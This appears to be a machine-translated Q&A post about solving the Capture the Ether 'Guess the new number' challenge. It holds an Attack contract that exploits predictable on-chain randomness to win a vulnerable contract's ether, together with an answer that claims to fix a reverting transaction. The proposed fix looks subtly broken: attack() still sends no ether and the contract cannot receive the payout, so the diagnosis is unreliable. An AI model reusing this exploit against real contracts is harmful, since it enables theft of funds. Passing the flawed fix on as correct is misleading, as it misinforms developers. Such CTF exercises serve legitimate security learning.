我的混音保持提醒"气体估计错误,显示以下消息(见下文(。事务执行可能会失败。是否要强制发送?执行恢复";。你们能帮我找出我缺了哪一部分吗。
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract Attack {
address vt = 0x2417929C9AE5884a754Cf1f77FA5FaBDDC9ce92A;
GuessTheNewNumberChallenge gn = GuessTheNewNumberChallenge(vt);
function attack() public {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
gn.guess(answer);
}
}
您必须在Attack智能合约中指定GuessNewNumberChallenge使用其功能的智能合约地址。要解决此问题,请尝试以下操作:
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
contract Attack {
// I declare variable refers to GuessTheNewNumberChallenge
GuessTheNewNumberChallenge private gn;
// I set into constructor about this smart contract the address where GuessTheNewNumberChallenge deployed.
// And when the instance is complete, you can use the GuessTheNewNumberChallenge functions.
constructor(address gtncAddress) public {
gn = GuessTheNewNumberChallenge(gtncAddress);
}
function attack() public {
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
gn.guess(answer);
}
}
我对智能合约做了一些评论。